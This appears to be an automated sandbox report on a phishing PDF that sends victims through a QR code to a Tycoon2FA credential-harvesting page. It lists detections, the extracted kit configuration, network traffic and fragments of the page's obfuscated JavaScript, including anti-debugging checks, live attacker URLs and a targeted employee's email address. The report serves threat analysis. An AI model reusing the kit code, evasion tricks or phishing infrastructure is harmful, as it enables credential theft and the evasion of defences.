Edit tour

Windows Analysis Report
Employee Plan Selection.pdf

Overview

General Information

Sample name:	Employee Plan Selection.pdf
Analysis ID:	1653405
MD5:	d74bc9e1607a2e3343c0cc4c27e10472
SHA1:	e64ad2aa4c4ee4c4a7d9b8dde96b32093fa099ce
SHA256:	8019af33e158e82e5efe5d6585d67a1f06a8c01f343f591e9aa7abd63ddc1010
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Queries random domain names (often used to prevent blacklisting and sinkholes)

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Unable to load, office file is protected or invalid

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

Acrobat.exe (PID: 6988 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Employee Plan Selection.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7164 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6228 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2268 --field-trial-handle=1592,i,4560148023317636095,12695874837690103319,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 3796 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument about:blank MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 456 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1972,i,17045829419568648293,9011026404171363081,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7580 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.bing.com/ck/a?!&&p=91605fd235fcf04ed888d9660fc773b4df96861700d1163ea175e84ca2c7c6c5JmltdHM9MTc0MzI5MjgwMA&ptn=3&ver=2&hsh=4&fclid=39cc044d-b2f8-6b7c-2c33-11f2b3af6a54&u=a1aHR0cDovL3d3dy5hbWF6aW5nYXNzZWVub250di5jb20v#aHR0cHM6Ly84NnpWLnZvY2FsZW50ci5ydS8zSk85M0ZtLw==/#Mpaskl@bellpotter.com.au MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "hBiMub",
  "emailcheck": "paskl@bellpotter.com.au",
  "webname": "rtrim(/web9/, '/')",
  "urlo": "/sqFe2cxTSaslUBe28UkjbqSL6ooud7YFvBOactUj9nwxe",
  "gdf": "/gh9IC2Cf06PBRQRY1aMFeuvXsSkqlbgScd120"
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_222	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
2.12..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.12..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.10.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.1.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.1.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.6.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.17.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
2.13..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.13..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.2.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.2.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.5..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.20..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.3.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.5.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.5.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
3.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.3.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 19 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 2.17.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "hBiMub", "emailcheck": "paskl@bellpotter.com.au", "webname": "rtrim(/web9/, '/')", "urlo": "/sqFe2cxTSaslUBe28UkjbqSL6ooud7YFvBOactUj9nwxe", "gdf": "/gh9IC2Cf06PBRQRY1aMFeuvXsSkqlbgScd120"}

Phishing

AI detected phishing page

Source: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown' due to its global recognition and presence., The URL '86zv.vocalentr.ru' does not match the legitimate domain 'microsoft.com'., The domain 'vocalentr.ru' is unrelated to Microsoft and uses a Russian domain extension, which is unusual for Microsoft., The presence of a subdomain '86zv' and the unrelated main domain 'vocalentr.ru' are suspicious., The email domain 'bellpotter.com.au' is unrelated to Microsoft, which raises further suspicion. DOM: 2.3.pages.csv
Source: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU	Joe Sandbox AI: Score: 9 Reasons: The brand 'Bell Potter' is a known financial services company in Australia., The legitimate domain for Bell Potter is 'bellpotter.com.au'., The URL '86zv.vocalentr.ru' does not match the legitimate domain for Bell Potter., The domain 'vocalentr.ru' is unrelated to Bell Potter and uses a Russian domain extension, which is unusual for an Australian brand., The presence of a password input field on an unrelated domain is suspicious and indicative of phishing. DOM: 2.4.pages.csv
Source: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU#	Joe Sandbox AI: Score: 9 Reasons: The URL '86zv.vocalentr.ru' does not match the legitimate domain 'bellpotter.com.au'., The domain 'vocalentr.ru' is unrelated to Bell Potter, which is an Australian financial services company., The use of a Russian domain extension '.ru' is suspicious for a brand primarily operating in Australia., The presence of a password input field on an unrelated domain is a common phishing tactic., The URL structure '86zv.vocalentr.ru' suggests a potential phishing attempt due to its randomness and lack of association with the brand. DOM: 3.5.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.5..script.csv, type: HTML
Source: Yara match	File source: 2.20..script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_222, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 2.17.d.script.csv, type: HTML
Source: Yara match	File source: 2.12..script.csv, type: HTML
Source: Yara match	File source: 1.10.d.script.csv, type: HTML
Source: Yara match	File source: 1.1.d.script.csv, type: HTML
Source: Yara match	File source: 1.6.d.script.csv, type: HTML
Source: Yara match	File source: 2.13..script.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: PDF document	Joe Sandbox AI: Page contains button: 'SCAN THE QR CODE TO SIGN THE DOCUMENT' Source: 'PDF document'
Source: PDF document	Joe Sandbox AI: PDF document contains QR code

AI detected suspicious Javascript

Source: 1.7..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://86zv.vocalentr.ru/3JO93Fm/... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code/URLs. The script appears to be performing malicious activities, such as redirecting to a suspicious domain and collecting user credentials. These behaviors, combined with the lack of transparency and the use of untrusted domains, indicate a high-risk script that should be further investigated.
Source: 1.3..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://86zv.vocalentr.ru/3JO93Fm/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` to decode URLs and the subsequent `eval()` call to execute the decoded content pose a significant security risk. Additionally, the script appears to be attempting to write content to the page, which could be used for malicious purposes such as phishing or injecting malware. Overall, this script exhibits a high level of suspicious and potentially malicious activity.
Source: 2.12..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and aggressive DOM manipulation. It checks for the presence of web automation tools, redirects the user to a blank page, and intercepts various keyboard and mouse events to prevent common debugging and security actions. Additionally, it includes a timer-based debugger trap and a forced redirect to an external domain. These behaviors are highly suspicious and indicate a potentially malicious intent, warranting a high-risk score.
Source: 1.9..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://86zv.vocalentr.ru/3JO93Fm/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of the `Function` constructor to execute obfuscated code, along with the presence of a debugger statement and a redirect to an unrelated domain, suggests this script is highly likely to be malicious.
Source: 1.5..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://86zv.vocalentr.ru/3JO93Fm/... This script demonstrates high-risk behaviors, including dynamic code execution through the use of a Proxy object that evaluates decoded strings. The obfuscated nature of the code and the potential for remote code execution make this a high-risk script.
Source: 2.13..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and aggressive DOM manipulation. The script checks for the presence of browser automation tools, blocks common keyboard shortcuts, and redirects the user to an external website after a delay. These behaviors are highly suspicious and indicate potential malicious intent.
Source: 2.20..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://86zv.vocalentr.ru/56hPzwzVtFlu5QcqHNghXH7A... This script demonstrates several high-risk behaviors, including dynamic code execution using `eval()`, potential data exfiltration, and the use of heavily obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, and this script should be treated with extreme caution.

Source: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU

HTTP Parser: Number of links: 0

Source: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://86zv.vocalentr.ru/3JO93Fm/#Mpaskl@bellpotter.com.au

HTTP Parser: Base64 decoded: if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { function nBUakebpEU(event) { co...

Source: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU

HTTP Parser: Title: Continue For Protected Access does not match URL

Source: https://86zv.vocalentr.ru/3JO93Fm/	HTTP Parser: function acabonbwsi(){dlpsinidtb = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+vgvjacbtb2x1dglvbnmglsbjbm5vdmf0aw5nihrozsbgdxr1cmu8l3rpdgxlpgogidxzdhlszt4kicagigjvzhkgewogicagicbmb250lwzhbwlsetogqxjpywwsihnhbnmtc2vyawy7ciagicagigxpbmutagvpz2h0oiaxljy7ciagicagig1hcmdpbjogmdskicagicagcgfkzgluzzogmdskicagicagymfja2dyb3vuzc1jb2xvcjogi2y0zjrmndskicagicagy29sb3i6icmzmzm7ciagicb9ciagicbozwfkzxigewogicagicbiywnrz3jvdw5koiajmda1ytllowogicagicbjb2xvcjogi2zmzjskicagicagcgfkzgluzzogmjbwecawowogicagicb0zxh0lwfsawduoibjzw50zxi7ciagicb9ciagicbozwfkzxigadegewogicagicbtyxjnaw46ida7ciagicagigzvbnqtc2l6ztogmi41cmvtowogicagfqogicagbmf2ihskicagicagymfja2dyb3vuzdogizmzmzskicagicagy29sb3i6icnmzmy7ciagicagihbhzgrpbmc6idewchg7ciagicagihrlehqtywxpz246ignlbnrlcjskicagih0kicagig5hdibhihskicagicagy29sb3i6icnmzmy7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagicagbwfyz2luoiawide1chg7c...
Source: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "hbimub";var emailcheck = "paskl@bellpotter.com.au";var webname = "rtrim(/web9/, '/')";var urlo = "/sqfe2cxtsaslube28ukjbqsl6ooud7yfvboactuj9nwxe";var gdf = "/gh9ic2cf06pbrqry1amfeuvxsskqlbgscd120";var odf = "/ijm8tb8mrrcw8a0mgvyzpgeruyirbbk2gab648";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "https://na3.docusign.net/signing/error.aspx?e=b72972b3-07e6-40eb-ad4d-88e83b45c3ef&scope=801b142b-90fb-408d-9c9b-6f9d0486fa90#";var useragent = navig...

Source: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU

HTTP Parser: <input type="password" .../> found

Source: https://www.amazingasseenontv.com/#aHR0cHM6Ly84NnpWLnZvY2FsZW50ci5ydS8zSk85M0ZtLw==/#Mpaskl@bellpotter.com.au	HTTP Parser: No favicon
Source: https://86zv.vocalentr.ru/3JO93Fm/#Mpaskl@bellpotter.com.au	HTTP Parser: No favicon
Source: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU	HTTP Parser: No favicon
Source: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU	HTTP Parser: No favicon

Source: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU	HTTP Parser: No <meta name="author".. found
Source: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU	HTTP Parser: No <meta name="author".. found

Source: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU	HTTP Parser: No <meta name="copyright".. found
Source: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.7.124:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.210.119:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.210.119:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.72.100:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.101:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.16:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.16:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.16:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.16:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.16:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.16:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.127:443 -> 192.168.2.16:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.127:443 -> 192.168.2.16:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.16:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.16:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49796 version: TLS 1.2

Networking

Queries random domain names (often used to prevent blacklisting and sinkholes)

Source: unknown

DNS traffic detected: English language letter frequency does not match the domain names

Source: Joe Sandbox View	IP Address: 140.82.113.3 140.82.113.3
Source: Joe Sandbox View	IP Address: 104.26.1.100 104.26.1.100
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.32.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.32.99
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.amazingasseenontv.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3JO93Fm/ HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://www.amazingasseenontv.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://86zv.vocalentr.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
